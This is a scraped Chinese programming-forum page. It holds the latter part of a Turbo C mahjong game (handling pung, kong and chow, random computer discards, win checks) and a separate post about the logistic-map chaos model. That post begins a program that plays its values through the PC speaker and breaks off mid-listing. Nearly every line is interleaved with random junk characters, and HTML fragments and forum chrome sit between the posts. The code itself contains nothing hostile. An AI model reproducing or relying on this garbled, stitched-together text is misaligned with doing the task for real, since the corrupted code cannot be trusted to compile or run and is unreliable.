8 e; U' l1 h) S# v# }/ n9 i* \& [if(every==6)9 ?3 ~% k; D- X9 W
{/ o$ g% y6 O& `+ _! R
x1=140;
" [( g7 B) @0 s- B, a5 j/ A& D$ ?y1=165;
0 B- W8 b+ b. v$ I4 A0 g/ K) ffillRectangle(x1,y1,x1+20,y1+4,0);
! }8 T8 _: _) b! b  g( M% u1 ]}' K% o/ p. @4 v4 z" `4 v
if(every==7)
, O: z* E! C! q: M' w# V" r6 F! t8 ?{( m: `7 t* V# L& m$ q9 q$ y
x1=160;. _' a- g# e3 k- `& K
y1=165;
  f. S, |4 |9 x6 m; a1 u$ j5 K8 bfillRectangle(x1,y1,x1+20,y1+4,0);
' o* V; r& h0 c  p; H}# r- q4 \) O& a6 t% J- Y
if(every==8)
* B) S4 ]# f+ \& D& \{
# \, e3 w0 u5 O7 S) c0 r3 p( \" ox1=180;
3 L1 c, o* E. ry1=165;
. Q9 K  j- r7 @  T$ l6 @" mfillRectangle(x1,y1,x1+20,y1+4,0);
! a1 w% l" h. J. O4 L}
3 W6 |/ ~) L8 V3 H9 b  jif(every==9): G: @" c+ E' s- _' Y  O
{
3 m9 `8 G; i; b# l2 n, P2 ~x1=200;" T7 W3 ^: d) T2 @8 M
y1=165;- s3 c' j+ S) F& K* u% U. x
fillRectangle(x1,y1,x1+20,y1+4,0);
; E8 _. A0 q. Y6 C4 ?' l2 F& e2 q8 d}
5 b  \( T! J4 l& r6 A, dif(every==10)  k  |0 j  H! ^4 L" ?! u+ n
{' H. X& |, N( o
x1=220;( o- [: ?+ V8 C6 o' [( u% K6 c
y1=165;3 |2 j$ S' m6 f6 X
fillRectangle(x1,y1,x1+20,y1+4,0);& p. P& f$ j% `: z' ~; j( H
}) ~. D2 s& O9 R
if(every==11)
$ n( o* ]. `8 z) r{
/ _2 N% y' a/ J/ Ox1=240;
. Z1 G- o1 S, Dy1=165;
5 t2 t$ D$ O4 `6 MfillRectangle(x1,y1,x1+20,y1+4,0);% Z: Z/ E9 \* X. M6 R
}( W8 x: }5 z0 g/ v( ^3 g
if(every==12)
9 Z+ ~5 e4 ^7 d5 n4 M- `{
0 ~8 @. ?1 D+ r! S. ]$ C4 E2 ix1=260;
7 {4 [  j) J) ]! a1 by1=165;
" N( Z/ R. s0 m7 V1 K" @fillRectangle(x1,y1,x1+20,y1+4,0);
3 A+ T2 U+ l, e+ x}% _& U2 n1 Q/ M. `8 {: g6 @
2 u8 F" z: G- z
zz=0;
: W) h8 q  N6 @. U9 [2 b4 Oevery++;; U8 ?( s$ k5 ]* a; q
z=z+20;  }7 ~8 y# d& h6 q
}
4 Z4 f! H& w/ U- qshowbmp(every);5 Q: r; {% ~) R1 B" f7 a; B
key=keyy;8 X7 |( \" J% B: d" w! N
if(keyy==ENTER)9 h2 n1 }$ E9 Z% u
{
3 z! g9 i4 ]5 @4 r  E, l: Y7 Crgzn(every); /*********************/
; }! m- g% P/ ]1 h7 K6 Oif(sing==1) /*如果可以乓,做相应的处理*/
# Y  ~4 H' f- R- U{ - v0 U/ i" ^3 h' R1 a5 \; d; f
kkk=0;8 }$ q$ F4 u) r' E* ]4 r
kkkk=0;
: m, h, ^# ^# J+ u( ?5 |4 G* Wwhile(kkk&lt;=computer.m)
9 p4 \- i1 z5 A3 O3 Y, U# _, D; b% E" J$ j{
1 |! g  ]  o2 i" n3 z: @if(computer.pp[kkk].p!=1)0 v. F) W! `+ S+ y" {& O. J9 M* @9 q
{
, d0 D; j7 S5 I: ]comp.pp[kkkk].k=computer.pp[kkk].k;# X( E, P0 Q: \6 l  ^
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;; q* h: N: J3 L) ?8 \/ R+ P
comp.pp[kkkk].number=computer.pp[kkk].number;! B( S' N; N6 x' q  V6 a
kkkk++;2 Y2 W3 |$ [/ p/ Q; i* z$ I% [4 `
}
6 q9 n; _: J9 x' Yelse- q5 O! T9 \3 ~2 f( T; I
{
0 K2 A3 u* k* s7 Km[computer.pp[kkk].number].data1=1;& e+ h$ L6 `& E4 D
dwei=computer.pp[kkk].number;
: S1 r6 T% G0 A  \( j; V/ }computer.pp[kkk].p=0;
+ ?, u5 _$ r$ e& T" H! {}$ z9 w5 r6 ^8 G( Z' l& {. ?# F
kkk++;/ o) w1 }+ `: t3 T
}7 r  ]4 A6 Q/ s7 V6 z$ r+ p
ll=0;$ ~. J+ m5 p; |1 d$ O) O

) u* Q+ z# r' s# @$ Z& X/ Q  U+ hwhile(ll&lt;3)
5 B6 n& W5 N1 Z' U4 d" b% Z  W{ zl=zl+20;
* m# N6 L0 c0 ]5 G/ ebmpp(dwei); /*显示乓的牌*/+ ^" Q: @6 B# A) w- q% y% Y, }. l/ `
ll++;
) L! M/ \! `% Y5 X}# \5 b* Q$ D8 ~  X; `
) q+ W3 K! W: d% d5 v( F8 s
zl=zl+9600-60;  O* h+ L: o; a. s; W5 O
kkk=0;  X1 c$ Q0 b3 I  e1 p5 M
computer.m=computer.m-2;2 c8 }0 |# A: y, ~; G. @% c
while(kkk&lt;=computer.m)8 E, d; Z9 B5 S5 w1 g' e7 }% Q
{3 \* p, W8 R2 M% Z( B' Q/ v1 o, M+ |
computer.pp[kkk].k=comp.pp[kkk].k;1 g  ^, }1 o# n8 m6 Y% `/ z! {  n
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
% b1 b. w: k& E% v; X" [# ~3 p, jcomputer.pp[kkk].number=comp.pp[kkk].number;
) z. O& x" ]- S* W0 c7 C' Dkkk++;
" F7 v/ v. [* i- V  x6 X# k0 v; v}, i7 ~/ h9 l, G! J, X: L
ll=0;
+ ^/ z( N4 N* {. a) o5 ?; _6 ttemp=random(computer.m); /*出牌等待完善*/; j! O( E0 J5 Q4 r9 j* e5 f
zyy=zyy+9280+20;
$ f' ~8 v  t2 u8 ~showcbmp(temp);
. s, P) J5 h* v9 q, Vzyy=zyy-9280;
4 m% m' f& S; d1 a+ l. E: @9 x; b/*****// G8 J. @6 P# n. j) {4 ?! V7 O+ R
rgznme(temp);
" G' ]4 F5 G) J& C0 ~: x1 g# b( {panduan();" X6 T- e" t( D/ L+ i4 H6 s
if(me.m==0)) P9 U( S% E1 k
if(second==1 &amp;&amp; threes==0)! t; O5 l& Z4 f& T6 Q& A5 i# A
printf("you win!");7 K* p$ @% U! w4 O
if(me.m==3)
2 ~8 d2 s$ d: \( E1 T+ Q2 w& ~if(second==1 &amp;&amp; threes==1)
; ~, v/ K3 n* V/ {printf("you win!");
, T: T. `; r6 y' K* {if(me.m==6)$ x& j3 v2 e4 N6 y2 T& o
if(second==1 &amp;&amp; threes==2)
  \0 m  ]3 @6 _6 ?  \) T+ c" Yprintf("you win!");
$ M# f" v, @) n3 P. ~) y; O1 z: gif(me.m==9)3 z9 d) z4 I5 U( R* \
if(second==1 &amp;&amp; threes==3)
, Y8 E- U9 J% K0 k! b% eprintf("you win!");( k+ B) Y  a$ J6 i
if(me.m==12)
" X% B: `4 l, ]: z/ D$ m* w1 hif(second==1 &amp;&amp; threes==4)
  ]+ B+ }. b3 B* C& n2 n7 e, G; xprintf("you win!");- D- U3 z$ W  K, e' B
! ?# a; P: s/ G1 j# |* Y8 y% h
kkk=0;' A1 p9 G9 W9 R' }; {( a( S- \
kkkk=0;! \3 E$ _- e$ k
while(kkk&lt;=computer.m)
  [0 `8 U. K' ]9 O: K5 @+ Y' v{1 Y6 t1 c% e& J# E! @3 t, }. [* ]
if(kkk!=temp)7 m9 F, S* p) G% i
{
3 I; B  ^# W# o, B9 @comp.pp[kkkk].k=computer.pp[kkk].k;
6 L8 q' N, @' ecomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;2 G1 C; f6 w, T$ X
comp.pp[kkkk].number=computer.pp[kkk].number;
% D5 C; f' \) c& r+ @  `kkkk++;3 S0 s. [$ }) M4 e3 S
}6 v( I& f0 E& ]4 F, w
else
: L, g3 a0 d1 E) `. y3 J6 Vm[computer.pp[kkk].number].data1=1;4 @1 N( q2 |6 P6 B' \
kkk++;# U$ J  `! [( q) k) i' R
}
- X2 n+ o# @) B; Q/ C7 Nkkk=0;# H0 m2 [4 b  u% T' E
computer.m=computer.m-1;
" ?) K0 X# o5 P) r7 E. E% W) Rwhile(kkk&lt;=computer.m)
; E9 ?7 T! p6 i" G+ Z4 n  F# B{
" }0 P9 m. B4 G6 j; Ccomputer.pp[kkk].k=comp.pp[kkk].k;4 |0 Y: ~% R; I. T, K/ K' Y
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
  w9 G9 b) T5 a, n: E' `computer.pp[kkk].number=comp.pp[kkk].number;4 H8 w( v: `* L7 K: N  p
kkk++;. ]4 ], H* K' O) v( b
}
0 Y  K. Q+ Q& s% Q8 ?) ^fillRectangle(0,0,320,30,0);
5 E" I+ y5 R* n2 dn=computer.m;8 h9 [! X/ M* t3 W
ll=0;  u/ l1 ]: W0 I2 k, b2 G) B# b" m
zy=0;
) R: ^4 |2 _2 |5 @- n& ^while(ll&lt;=n)
# n  v+ j# A5 o, k: j0 q{7 {* k, k$ ~/ w$ i/ m6 s
zy=zy+20;
  t5 w# _3 W0 E% w/ v. D( }showybmp(ll);3 x0 \* S9 _9 j7 h7 Y
ll++;
  y1 ~# R8 p' X7 |}" q# J" \1 W8 X8 V, L
ll=0;
) M% Z* n3 d' W* J, ^getch();% m: Z7 x6 y! W3 m* e4 R
sing=0;% ]+ T8 h9 g7 s' g. Y: g* p
sing1=1;
5 p6 a2 A1 e4 ^0 A) ^}
$ P; ?! V. ^5 `& j
$ J9 c; u) v( \: R7 x* Vif(sing==2) /*如果可以杠的做相应处理*/+ W- @/ A5 w0 n  e( ^
{
2 r2 Y% M1 L7 Z9 L( U. \kkk=0;
8 o! q, N& I- u6 Q% g) R3 pkkkk=0;
' A% t( d) L/ }/ Lwhile(kkk&lt;=computer.m)
. J( K# g8 m& G0 }7 g) G{
) w9 C  E. L6 f4 ^$ W7 n+ ?if(computer.pp[kkk].g!=1)
% j1 x  a# c0 x) `7 t& q$ S5 h7 c{9 o7 w: B- S" ~, U; T* w! |9 i: W4 c% G
comp.pp[kkkk].k=computer.pp[kkk].k;( X* N' f8 d& e" T& }
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, o/ U0 R+ {* s9 a' b
comp.pp[kkkk].number=computer.pp[kkk].number;: C, T& `4 [; ]0 I
kkkk++;
3 s: n) M# ?5 p0 m) R* |3 B9 v) _}: t  s# J, [: b' S6 n
else2 S) X0 T# [7 n) d
{
' a* n% [4 e) T! Y. D8 im[computer.pp[kkk].number].data1=1;: @" a) w+ s% t/ R& r- W
dweig=computer.pp[kkk].number;) k' o( }2 B/ z0 F% Y
computer.pp[kkk].g=0;
+ D; R2 i3 @" A* L' {) W}
- j# \7 s: X3 K/ g) ~7 skkk++;
- i! T  j& ?' I}
/ c4 `: V4 W0 s7 O7 Ell=0;" \; I& K3 z+ l9 B- O7 Y

2 S; c/ L' i$ L' V3 bwhile(ll&lt;=3)
# R2 G6 b/ F# h{ zl=zl+20;. y- S! a3 v* u2 H  C4 H
bmpp(dweig); /*显示杠的牌*/! U' P1 e4 }+ N/ O% f6 M  L$ y
ll++;
* F$ P8 m" N! l}
5 ~, ?, l" ?6 L) zzl=zl+9600-60;
' W8 _4 E* a5 c% {3 Rkkk=0;! X# Q5 d2 N& p
computer.m=computer.m-3;5 e3 ]3 M6 }. l6 m& {
while(kkk&lt;=computer.m); F& u* w  [6 R4 I3 [7 V
{# e- O- y1 S6 f: b  }: D- h0 z) x
computer.pp[kkk].k=comp.pp[kkk].k;
7 r& s, q3 S1 v, Qcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
$ a; Q) K' }. I4 W$ z) l& n' |1 bcomputer.pp[kkk].number=comp.pp[kkk].number;
) O7 g; c7 a/ L9 t  k) A$ h  e& Qkkk++;+ z: ~, P* T: g+ Y, Y% [
}! m2 `8 |* L! @, m4 j8 `
kk=0;
# E$ p. L9 U1 q) n- x/ }computer.m++; /*加一个牌的容量*/! h! _8 v6 O6 S$ |: G
while(kk!=1)
6 K( {. \% ^# D0 o9 B6 r- ]5 ~, U{
2 W9 W4 P. E5 M, dtemp=random(136); /*出牌*/
7 C7 Q4 T, v- `: [" @- rif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)) h6 s5 i' P. c
{
2 S' ~( g* X& h9 S9 q/ Z; Ycomputer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/# i; b1 `) e7 J6 m
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
% J* r/ _% ?  @2 Zcomputer.pp[computer.m].number=temp; /*第几张,用来排序*/
3 B' J0 }* q9 r/ \# Wm[temp].data2=2; /*判断牌是谁的,2为电脑*/; f1 u4 Y/ c4 j6 K& C7 C' g
kk=1;: c* w- W. m& n& Z, P
}
* w' f; ?+ X4 N- J9 s) m}
1 ^. M7 Z, W3 e0 k5 J2 ccomlipai();) ]/ j# {7 i5 g7 M8 F+ E, f
temp=random(computer.m); /*出牌,等待完善*/
8 R# j8 N& ~* f. q* R) Q5 ^# R) V% t* czyy=zyy+9280+20;) j- R7 v  W/ \4 S% ]5 g2 T
showcbmp(temp);; J2 p. B6 F% B" M% k
zyy=zyy-9280;4 x9 O* u4 ]: S
/*****/# G, I& Q3 ?' P! [5 C, |( a1 e
rgznme(temp);
) R- Q: K. V# U( Y1 D* Ipanduan();
: B5 @  _/ c; V0 s. r. Fif(me.m==0)
  j% l4 }+ [) K5 T9 ~if(second==1 &amp;&amp; threes==0)
0 q: E+ V3 G9 r" t! N. o1 {printf("you win!");
) G) `: j9 w  m. C  yif(me.m==3)1 h. N$ A; X; l; y3 e) n
if(second==1 &amp;&amp; threes==1)9 {" \$ Z6 \$ O' |( k( N
printf("you win!");
7 |/ K! u' J) ^3 c2 P% Dif(me.m==6)+ {7 m! a( D/ @( `$ [, V9 i
if(second==1 &amp;&amp; threes==2), ?; M& M* Y( I+ {
printf("you win!");
' S% L& W1 K: D7 Xif(me.m==9)) s/ Q( _1 O7 L' s0 j
if(second==1 &amp;&amp; threes==3)
/ K  `) r3 t$ D. Y1 }$ r9 Q4 Sprintf("you win!");
7 s, }& {" e: A, M- ~" z6 n$ [if(me.m==12)% \% h8 v: |  Z5 [
if(second==1 &amp;&amp; threes==4)
6 f" v! C$ @% P, O# ~printf("you win!");
% w& A5 R0 B# `2 h( u8 D6 {7 `2 @' G0 m* ^* d' a' ?
kkk=0;, ~# u4 n1 N5 @4 H, z
kkkk=0;- s6 E0 ~6 \3 n
while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/% g: c0 J  h5 }" W. ?2 Y3 I
{
- ]) f1 Q' x1 `( o1 P# D( kif(kkk!=temp)
" j# b2 |* I9 T2 X. l; [  k4 S{9 ~5 _( f" Z8 @5 ~
comp.pp[kkkk].k=computer.pp[kkk].k;2 O  I( u& f+ |' g$ |( ?. y& @
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
* N3 f9 m1 l7 h: F8 Ycomp.pp[kkkk].number=computer.pp[kkk].number;' F3 ~& s/ g9 _1 W( F7 t
kkkk++;
. }! @1 I" b1 H$ G" }& x3 g}# Q4 x# J6 @6 V" ]2 T9 B" L- P+ y
else  k( }6 E2 |, P+ l' Q  Q; e3 s
m[computer.pp[kkk].number].data1=1;
8 u8 E, D) E6 d5 |kkk++;
% f5 l( l) \+ Y$ A3 A; I+ ]}- [; Y- h9 Z/ ?7 d
kkk=0;
7 V8 R2 @6 {/ F" E% u- acomputer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
4 Q* L2 s1 Q/ R1 ?6 Y' F3 Zwhile(kkk&lt;=computer.m)
8 P# m8 Q' A) a  V{
6 P. |! }+ I: m2 o7 P5 acomputer.pp[kkk].k=comp.pp[kkk].k;, u( _" Y6 r$ s, b: G! P
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;1 I; ^3 i0 n$ G0 {
computer.pp[kkk].number=comp.pp[kkk].number;
0 G& t, k* S& w- L# Q9 vkkk++;
9 I4 i  _3 a6 P# O/ h6 b}
6 h& e2 r8 Z6 g! u/ \! ~) QfillRectangle(0,0,320,30,0);
% m+ X( |$ g3 o  yll=0;: j6 L5 A, W5 |$ E* |# T8 e6 N
zy=0;1 j, \: a; E! v) M* w8 j. z* R4 N1 y
while(ll&lt;=computer.m)7 {1 U( }: ^+ B, h7 B& X" h1 A
{) S5 e0 z" b3 H. g; \" W; A' w) z
zy=zy+20;
) v! L6 |7 T! ~3 W  mshowybmp(ll);" @7 x2 a5 G. c4 e
ll++;) B$ d3 ]. ^" {6 \+ x
}+ `# r% z- d- d* _6 O$ v& z
sing=0;
- u: ~: k0 x' Z6 S: Asing1=1;0 S& Y2 N) n0 k9 e6 z$ t) a5 \
}
. W& E1 j" V1 Z# [' S% j4 cif(sing==7) /*如果可以吃的,做相应处理*/. p( t1 ]/ s' ?/ I& Y$ s* W; h8 N
{ nn=0;
. z8 ~  q' [& x% P6 dkkk=0;0 m, P6 ?$ Q1 D1 s9 n+ V! c
kkkk=0;
9 m, g  @! K/ Zwhile(kkk&lt;=computer.m)
0 b9 y' {- N5 _9 y% x% X2 h& W/ w{- Z- x9 x9 L8 A& l9 V4 f- J" W
if(computer.pp[kkk].c!=1)
7 Y1 A) T+ Y7 ?{
, c! ^! ^! W  `2 y( Y6 mcomp.pp[kkkk].k=computer.pp[kkk].k;
5 M! P3 z6 ]; |& n" |. {' ?  Rcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
' {$ C2 C* j/ f6 x+ g7 Hcomp.pp[kkkk].number=computer.pp[kkk].number;8 g! e3 ~) D! y( X
kkkk++;9 F7 y/ {9 D* H9 l$ ]+ t/ l
}
8 |, Z6 z3 t9 c& `1 z) V, L) Zelse
4 g5 Z7 a$ |5 x; a- I{. N4 e/ Y% E4 f: j
m[computer.pp[kkk].number].data1=1;
- U! }2 p/ D, @" Sdw[nn++]=computer.pp[kkk].number;( l3 x3 d) V5 l' E
computer.pp[kkk].c=0;' l/ D& P# X" e; U9 B
}
! N; ^1 k9 {- ?( Q4 qkkk++;
, _5 v; p. k4 v& W6 Q}) ]4 M$ U5 C1 B3 Y% p) Q) X3 w

6 a. S  f: Z: ]* u# }1 _1 Q1 Vif(me.pp[every].number&lt;dw[0])
6 R- O: n& ^5 Y& m" v/ X{( x4 i: D( J8 e
dw[2]=dw[1];8 R9 z2 m0 j% M4 L
dw[1]=dw[0];9 M( `6 F$ r/ {( e  @
dw[0]=me.pp[every].number;
5 ~; C& a3 v( x% |1 G' E- D0 c' _}
+ I3 `' B& R9 Fif(me.pp[every].number&gt;dw[1])3 r9 e& `+ ^2 E- G+ z. _
{2 s! w" T" a$ q. m( E
dw[2]=me.pp[every].number;2 ~0 E' Y6 x( [1 ^  G4 y
}8 B  [( d: l* F5 A3 T# {! \7 x
if(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])* k, J# N1 l7 N- i6 _: b2 m
{! b* c& d& H1 E5 e' u" x' ~
dw[2]=dw[1];2 y; U& P+ W# a- T
dw[1]=me.pp[every].number;
2 x8 k; i- M1 a' @+ _: u$ L}
' f& `1 Y' x" H9 Inn=0;% v- Q( t2 I: N" }/ Z8 [: t
while(nn&lt;3)
6 x# h/ {. [1 P, Z; a{ zl=zl+20;
5 c6 k5 M3 x/ F; V" e* B1 q% ybmpp(dw[nn]); /*显示吃的牌*/
, D# G# H4 |! P2 c) c/ @- xnn++;
6 {' W$ p- S4 c+ s4 Z" f& w" X}
8 v* X4 K% G& M# nzl=zl+9600-60;
$ y" @& H( j; R* o3 E& lkkk=0;9 y( G. }/ N, f0 y3 ?; K+ }
computer.m=computer.m-2;
+ h7 O, i0 V  y. \* x: t- W9 w% gwhile(kkk&lt;=computer.m)  Q" D: z9 p9 [& p2 \6 x. q8 g4 ^
{
; d, k+ T+ K4 P* G$ P% U3 mcomputer.pp[kkk].k=comp.pp[kkk].k;
+ g. G6 Z& u6 pcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;% s# X: S6 e2 p( t2 X) ?% m; N+ l
computer.pp[kkk].number=comp.pp[kkk].number;
# Z( `& ?" V, N) tkkk++;
( l; o$ y1 r8 d0 d}4 L& c; |8 X, _! s7 d" X5 a9 M
ll=0;
5 I4 c, r2 v! a& Y% y9 ^9 {temp=random(computer.m); /*出牌等待完善*/
0 ^! D! u. [7 S  }% _zyy=zyy+9280+20;) G7 ^, j: T" J' Y) h4 c: @
showcbmp(temp);" T# H: k) [/ b# _2 E9 W/ z$ Q
zyy=zyy-9280;2 S& f* h. t9 S9 ~+ t: h8 j
/*****/. N- C$ ?% {+ [/ a! _
rgznme(temp);
. b) a6 n. l5 i' ~' ?panduan();
' }" U) b* I/ R; s5 gif(me.m==0)$ Z6 F" r- h/ D) S2 U* T( E
if(second==1 &amp;&amp; threes==0)
3 N5 B3 l* L  W2 I$ q7 R$ Fprintf("you win!");% z# V. Y& P# J  g
if(me.m==3)
) a1 y4 P& [6 U7 u5 Q; ^8 V1 iif(second==1 &amp;&amp; threes==1)
! u; k  ?" j% n4 h* m( z; Oprintf("you win!");
* _/ N  p$ O% Yif(me.m==6)
2 \8 X  w6 a, w; R; p! @% @4 v) R6 rif(second==1 &amp;&amp; threes==2)
# N0 v: B, r" tprintf("you win!");; y. R) ?5 E( C
if(me.m==9)
) f3 F! B0 d" G4 nif(second==1 &amp;&amp; threes==3)
( u, B3 ?( o' r: hprintf("you win!");
4 n" |5 r; m4 G5 G4 d  cif(me.m==12)7 S( g* L+ j& j; G/ Y
if(second==1 &amp;&amp; threes==4)& o) C) ?0 n; w4 ~2 X' A
printf("you win!");
# A1 h; t8 u. R4 ~
' t" e9 ]5 x& ^( T: Wkkk=0;: L# k! f1 B! p" f
kkkk=0;$ ]7 _! `: ~7 o" i" b
while(kkk&lt;=computer.m)
: V3 D, o% K) b& |1 ]. O{' D) J' a. D9 D$ {( k
if(kkk!=temp)
5 N7 N7 o0 S. ^/ L2 Y+ a{
: e- Q% a; `- u1 p) f& z9 [: Q7 W9 Hcomp.pp[kkkk].k=computer.pp[kkk].k;* n: h  n. U! J  X2 q
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;, L* V7 ?0 j$ ~. A6 v
comp.pp[kkkk].number=computer.pp[kkk].number;0 z, H! J8 j  O' l  e: f
kkkk++;% x! p. f6 a# Q, M
}1 }/ t1 l0 J! v' h% w9 A0 O5 W
else
5 a4 u  ?8 v8 X5 Y0 E4 um[computer.pp[kkk].number].data1=1;
0 l/ t' a5 n# ^- F- zkkk++;  C, n8 }  ^5 u, T4 O% A
}8 e" w* q( R0 Z+ {& O- D) X  ^& X: M
kkk=0;
5 Z! t$ O/ u% ~& q! z! B+ ocomputer.m=computer.m-1;
$ S$ v2 `4 P1 Ywhile(kkk&lt;=computer.m) # k4 t9 b$ J, X# T- L# O- u9 [* G: P
{
4 Z& y5 g7 q) X+ a; M& {computer.pp[kkk].k=comp.pp[kkk].k;
' v* v+ G5 v% Gcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
1 H$ X$ j) r$ q; P' J7 Ycomputer.pp[kkk].number=comp.pp[kkk].number;
  f8 {8 F: s' d1 b/ _# \+ G, {$ |. dkkk++;
1 z2 E" O' _, k* ~! r" \% v}
' [( X# a# O+ Z/ I' u! g% w* Z; OfillRectangle(0,0,320,30,0);5 A! S& ?3 y/ g. s# a
n=computer.m;5 t' K- H: T  `. ^" g+ H
ll=0;. Y/ H2 f' k% Q# D1 K& C
zy=0;
6 B: T" U7 g- C* _- zwhile(ll&lt;=n)
* J, V4 A0 Z% G* s. Q{6 f0 O0 L$ V# A5 r& C0 `: ^% @
zy=zy+20;2 Q6 J5 t1 M4 i: h/ e
showybmp(ll);
9 `" z6 t, Q* ~8 N* [, _. Qll++;7 f7 l2 r. d" o+ X
}& _/ w4 g. K9 W
1 \2 d3 F8 n! H. s) t, ~- b3 X
getch();+ c9 Y2 s/ p0 ~8 ], d+ f0 m
sing=0;5 i3 [5 ]( @1 S. j
sing1=1;
/ h# N9 ^1 J2 p9 O3 t}' b9 i+ I7 P9 l! ^3 `- v
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/7 Q* g. ~& F5 t
{
6 A/ V- m2 H# ]+ j( vkk=0;( O- u$ x, U0 U+ ~3 W
h=me.pp[every].number;; L6 H5 m) R  s% e
m[h].data1=1; /*此牌已经无用*/
. E, Q8 E, R6 b" |4 \1 I! iif(sing1!=1)' W! n: S$ @  D+ M" h' a9 p
{
8 j# `2 T6 y! G' [7 b  F* Qzyy=zyy+9280+20;4 u7 Y5 I: J$ i( D. T1 ?
showbmpd(every);
/ k( T; @7 p9 Z# o, J0 a9 h* ~+ o& rzyy=zyy-9280;! c1 A. K' N3 p  [7 x1 e- {6 h
}) D9 {8 R& A* _2 A4 `
while(kk!=1)
- h  E; m& {1 r1 j6 j6 s( q{( _$ A6 p4 ^1 K
temp=random(136);  q" {6 U, \( i2 ?
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)/ D" s+ N1 u% r5 g$ i
{
5 Y* {/ u1 X. D7 eme.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/
9 R! F! a. N* f" gme.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/$ U" D- K) _, N, `' i8 P. E
me.pp[every].number=temp; /*第几张,用来排序*/
( h2 K# I) Y& B0 s# p; X8 Im[temp].data2=1; /*判断牌是谁的*/
' c# P( o3 R* ^1 z2 i( rkk=1;
7 i" J, k9 H0 S% O}1 h( Y1 y5 J, Y- e+ u
if(kk==0) /*判断如果又选择了,就从新再选*/
$ s, Y4 @; h( L  T4 o$ d% V) Fkk=0;, g) S8 ~  K  ~' k3 _* L& z
}% J1 j, A# ^3 w
}
0 p2 [- r3 l/ d- I3 b3 lsing=0;
8 W, ]* p, Y$ n/ |8 N" `: A8 U5 Qsing1=0;
  m4 \6 ]8 {9 n" r+ S* Cmelipai();
  g6 m; P; I" O/ e- fn=13;
' Q& Q5 T+ r! B+ N$ S" Wz1=54400;3 c$ X- `9 ^$ R% q+ J: @7 `
l=0;
. m% k' O/ ~) p4 a, r2 ^  I% C) ug=z;
% Y9 l$ R+ `+ ]  c4 d. G4 ^while(l&lt;n)
& p. v5 }8 w0 S& K- z5 d1 e/ X. n{ z=0;
. L% O8 n1 u1 _/ ^- Vz1=z1+20;
- h+ U- h0 G& e. |; Q8 p. t$ V1 fshowbmp(l);
2 u1 Y5 M& Z% i1 Ql++;% W% z" W! U4 U3 c. a' N1 K+ o; y( u
}* y) }/ D" z5 l0 F! x
z1=0;
+ \3 i) z9 M$ [7 ?3 _, n" ez=g;
9 r* x7 D* W/ @! ^9 @! m}6 v( d/ A) Z! V7 M
keyy=0;
4 O  b- N7 Y% e7 r}
* {* T, W& r# V/ z  Y% V' d# p- x- \8 L! R& {4 P4 A  q& j/ R0 M4 Z
getch();8 W/ G9 g2 X& y( T; n) l
OUTVGA;
/ I1 X6 D% S# R0 _! A} 2 x+ S# s& H! q
</P></DIV>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])8 Z) f7 [' x1 J9 U3 c
</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
: m' M2 G3 e1 m, H. t/ }: w/ Q: D# _4 @3 O6 j9 L/ J3 C
  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。
& {& k. Z3 V6 x) Z, }  <FONT color=#009900>#include <DOS.H>
3 y9 N+ P: I4 T' y, i8 f2 T% Z  #include <STDIO.H>* {! }9 w6 q) L6 k: q7 S3 u7 {. y$ `! e4 v
  main(){
  b- S/ j7 u) x7 r  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/: s% q& J4 p/ \8 O
  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/( D! a# B7 V. d  Z4 h) g' X- n6 ?; o
  /*i,j用于循环记数*/
! h" _; Q# P8 s% D. ?- T" I9 x  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/9 f, i. M3 m; g3 z
  fDis=fMax-fMin;
& ]$ T& [. r* R  for(j=1;;j++){1 L- \6 @+ `( w
  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/' x$ ~; W, ]0 @# ^
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/
3 q( _2 R" S3 O, e" f2 E  scanf("%f",&k);
